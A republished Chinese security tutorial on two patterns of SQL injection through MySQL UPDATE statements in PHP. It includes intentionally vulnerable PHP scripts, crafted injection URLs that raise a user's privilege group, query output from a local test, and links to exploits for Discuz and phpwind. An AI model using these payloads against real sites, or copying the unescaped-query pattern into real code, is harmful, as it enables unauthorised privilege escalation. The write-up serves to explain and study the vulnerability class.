All articles| All Pictures| All Softwares| All Video| Go home page| Write articles| Upload pictures

Reading number is top 10 articles
PHP初学者遇到的中文乱码解决方案_php资料_编程技术
在SQL Server中建立定时任务,处理时间超过一天的记录_[SQL Server教程]
在sqlserver2005中安装sql server 2000的示例数据库_[SQL Server教程]
SQL循序渐进(11)GROUP,BY子句_[SQL,Server教程]
SQL,Server中的CTE_mssql学习_编程技术
如何解决php能连接mssql但读取不到表_[PHP教程]
ASP.NET2.0,保存密码框的小技巧_[Asp.Net教程]
PHP入门:初学来看配置文件PHP.INI的中文注释_[PHP教程]
用DHTML中的Popup,Object跨框架显示菜单_JavaScript技术_编程技术
ASP.NET超时设置_[Asp.Net教程]
Reading number is top 10 pictures
美丽的桂林风光2
刘亦菲写真集2
农夫山泉变身记
Players in the eyes of a perfect love1
Exquisite decoration is not paying too much2
Black and white also sexy--YanLiu1
到南昌西站了1
Female model behind the bitterness, often being overcharged3
Nine school beauty star those gossip matters
乳娘帕梅拉安德森4
Download software ranking
Such love down(擒爱记)
C#高级编程(第4版)
Tram sex maniac 2 (H) rar bag11
Boxer's Top ten classic battle7
The Bermuda triangle3
C#与.NET技术平台实战演练
Ashlynn Video2
双旗镇刀客A
Tram sex maniac 2 (H) rar bag1
Tram sex maniac 2 (H) rar bag3
归海一刀 published in(发表于) 2014/2/10 6:50:47 Edit(编辑)
UPDATE注射(mysql+php)的两个模式_[PHP教程]

UPDATE注射(mysql+php)的两个模式_[PHP教程]

UPDATE注射(mysql+php)的两个模式_[PHP教程]























一.测试环境:

  OS: Windowsxp sp2

  php: php 4.3.10 (

  mysql 4.1.9

  apache 1.3.33

  二.测试数据库结构:




















-----start---

-- 数据库: `test`

--

-- --------------------------------------------------------

--

-- 表的结构 `userinfo`

--

CREATE TABLE `userinfo` (

`groudid` varchar(12) NOT NULL default ’1’,

`user` varchar(12) NOT NULL default ’heige’,

`pass` varchar(122) NOT NULL default ’123456’

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--

-- 导出表中的数据 `userinfo`

--

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);

------end-------





三.测试模式:

  1,变量没有带’’或""[MOD1]




















//test1.php Mod1

servername = "localhost";

dbusername = "root";

dbpassword = "";

dbname = "test";

mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败");

sql = "update userinfo set pass=p where user=’heige’";//<--P没有使用单引号

result = mysql_db_query(dbname, sql);

userinfo = mysql_fetch_array(result);

echo "

SQL Query:sql

";

?>









  脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造p 来达

  到修改groupid的目的:

  那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1

  在mysql里查询:

















mysql> select * from userinfo;

+---------+-------+--------+

| groudid | user | pass |

+---------+-------+--------+

| 1 | heige | 123456 |

+---------+-------+--------+

1 row in set (0.01 sec)








用户heige的groudid又2改为1了 :)

  所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。

  2,变量带’’或""[MOD2]























//test2.php

servername = "localhost";

dbusername = "root";

dbpassword = "";

dbname = "test";

mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败");

sql = "update userinfo set pass=’p’ where user=’heige’";//<--P使用单引号

result = mysql_db_query(dbname, sql);

userinfo = mysql_fetch_array(result);

echo "


SQL Query:sql


";

?>










  为了关闭’我们构造p应该为123456’,groudid=’2 提交:

  http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\’

  提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’




mysql查询:

















mysql> select * from userinfo;

+---------+-------+--------------------+

| groudid | user | pass |

+---------+-------+--------------------+

| 2 | heige | 123456’,groudid=’1 |

+---------+-------+--------------------+

1 row in set (0.00 sec)







  groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2:


















//test3.php Mod2

servername = "localhost";

dbusername = "root";

dbpassword = "";

dbname = "test";

mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败");

sql = "update userinfo set pass=’p’ where user=’heige’";//<--P使用单引号

result = mysql_db_query(dbname, sql);

mysql_fetch_array(result); //p的数据写入数据库

sql= "select pass from userinfo where user=’heige’";

result = mysql_db_query(dbname, sql);

userinfo=mysql_fetch_array(result);

echo userinfo[0]; //把pass查询输出给userinfo[0]

sql ="update userinfo set pass=’userinfo[0]’ where user=’heige’";

result = mysql_db_query(dbname, sql);

mysql_fetch_array(result); //把userinfo[0] 再次update

?>








我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1

  回mysql查询下 :

















mysql> select * from userinfo;

+---------+-------+--------+

| groudid | user | pass |

+---------+-------+--------+

| 1 | heige | 123456 |

+---------+-------+--------+

1 row in set (0.00 sec)







  HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

  update-->select-->update

  四.实际模式

  模式1:Discuz 2.0/2.2 register.php 注射

  漏洞分析:http://4ngel.net/article/41.htm

  Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm

  模式2:phpwind 2.0.2和3.31e 权限提升漏洞






















漏洞分析:

update (profile.php 注射变量为proicon update语句里为,icon=’userdb[icon]’)

|

v

select (jop.php)

|

v

updtate (jop.php)



Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe







  五.鸣谢

  特别感谢saiy等朋友的讨论和帮助。Thanks!!!






作者:安全天使·SuperHei 来源:黑基









































添加到del.icio.us 添加到新浪ViVi 添加到百度搜藏 添加到POCO网摘 添加到天天网摘365Key 添加到和讯网摘 添加到天极网摘 添加到黑米书签 添加到QQ书签 添加到雅虎收藏 添加到奇客发现 diigo it 添加到饭否 添加到飞豆订阅 添加到抓虾收藏 添加到鲜果订阅 digg it 貼到funP 添加到有道阅读 Live Favorites 添加到Newsvine 打印本页 用Email发送本页 在Facebook上分享


Disclaimer Privacy Policy About us Site Map

If you have any requirements, please contact webmaster。(如果有什么要求,请联系站长)
Copyright ©2011-
uuhomepage.com, Inc. All rights reserved.